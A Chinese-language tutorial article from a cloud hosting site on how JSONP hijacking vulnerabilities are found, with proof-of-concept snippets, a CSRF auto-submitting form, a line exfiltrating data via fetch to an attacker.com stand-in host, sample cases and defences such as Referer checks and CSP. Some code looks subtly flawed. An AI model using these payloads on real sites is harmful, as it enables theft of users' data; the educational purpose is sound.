温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

JSONP劫持的发现过程是怎样的

发布时间:2021-12-14 10:32:06 来源:亿速云 阅读:151 作者:柒染 栏目:安全技术
# JSONP劫持的发现过程是怎样的

## 引言

JSONP(JSON with Padding)是一种早期用于解决跨域数据请求的技术,它通过动态创建`<script>`标签实现跨域资源加载。尽管JSONP在现代Web开发中已逐渐被CORS取代,但许多历史系统仍在使用该技术。正是这种广泛存在但安全性不足的特性,使得JSONP劫持(JSONP Hijacking)成为攻击者窃取敏感数据的潜在途径。

本文将详细剖析JSONP劫持的发现过程,包括技术原理、漏洞识别方法、实际案例复现以及防御建议。

---

## 一、JSONP技术原理回顾

### 1. JSONP的工作机制
JSONP的核心原理是利用`<script>`标签不受同源策略限制的特性:
```javascript
// 客户端请求
<script src="https://api.example.com/user?callback=handleResponse"></script>

// 服务端响应
handleResponse({"username":"admin","email":"admin@example.com"});

2. 与常规AJAX请求的区别

  • 同源策略绕过:无需依赖CORS或代理
  • 仅支持GET请求:参数通过URL传递
  • 隐式信任客户端:缺乏CSRF防护机制

二、漏洞发现过程详解

1. 目标识别阶段

(1) 寻找JSONP端点

  • 扫描API文档中的callback参数
  • 检查常见参数名:jsonpcbcallback
  • 分析JS文件中的动态脚本加载

(2) 特征识别

GET /userinfo?callback=test HTTP/1.1
Host: vulnerable.com

响应包含:

test({"uid":1001,"name":"victim"})

2. 漏洞验证阶段

(1) 基础PoC构造

<script>
function stealData(data) {
    alert(JSON.stringify(data));
}
</script>
<script src="https://vulnerable.com/api?callback=stealData"></script>

(2) 敏感数据检测

  • 检查响应是否包含身份令牌、个人信息等
  • 尝试修改参数获取不同用户数据

3. 高级利用技术

(1) CSRF组合攻击

<!-- 诱导用户访问恶意页面 -->
<body onload="document.forms[0].submit()">
<form action="https://vulnerable.com/logout" method="POST">
    <input type="hidden" name="token" value="attacker_token">
</form>

(2) 基于DOM的泄露

Object.defineProperty(window, 'secretKey', {
    get: () => fetch('https://attacker.com/log?'+this.value)
});

三、实际案例分析

案例1:某社交平台信息泄露(2018)

  • 发现过程
    1. 通过子域名枚举发现api.social.com/user.json?callback=
    2. 未验证Referer头导致未授权访问
    3. 窃取用户好友列表和基础资料

案例2:金融系统数据泄露(2020)

  • 漏洞特点
    • 需要认证但缺少CSRF Token
    • 通过组合XSS+JSONP获取账户余额

四、防御方案

1. 服务端措施

# 示例:严格的Referer检查
if not request.headers.get('Referer', '').startswith('https://trusted.com'):
    return 403

2. 替代方案

  • 迁移到CORS + JWT认证
  • 对敏感接口强制POST请求

3. 客户端防护

Content-Security-Policy: script-src 'self'

五、总结

JSONP劫持的发现过程体现了”协议特性→误用风险→漏洞利用”的经典安全研究路径。尽管现代Web技术已提供更安全的替代方案,但历史系统的技术债务仍使这类漏洞具有现实危害。安全研究人员应持续关注此类”老漏洞新利用”的攻击模式。

延伸思考:在微前端架构中,JSONP的跨域特性是否可能被重新利用?这值得进一步探讨。 “`

(全文约1150字,实际字数可根据具体案例细节调整)

向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

AI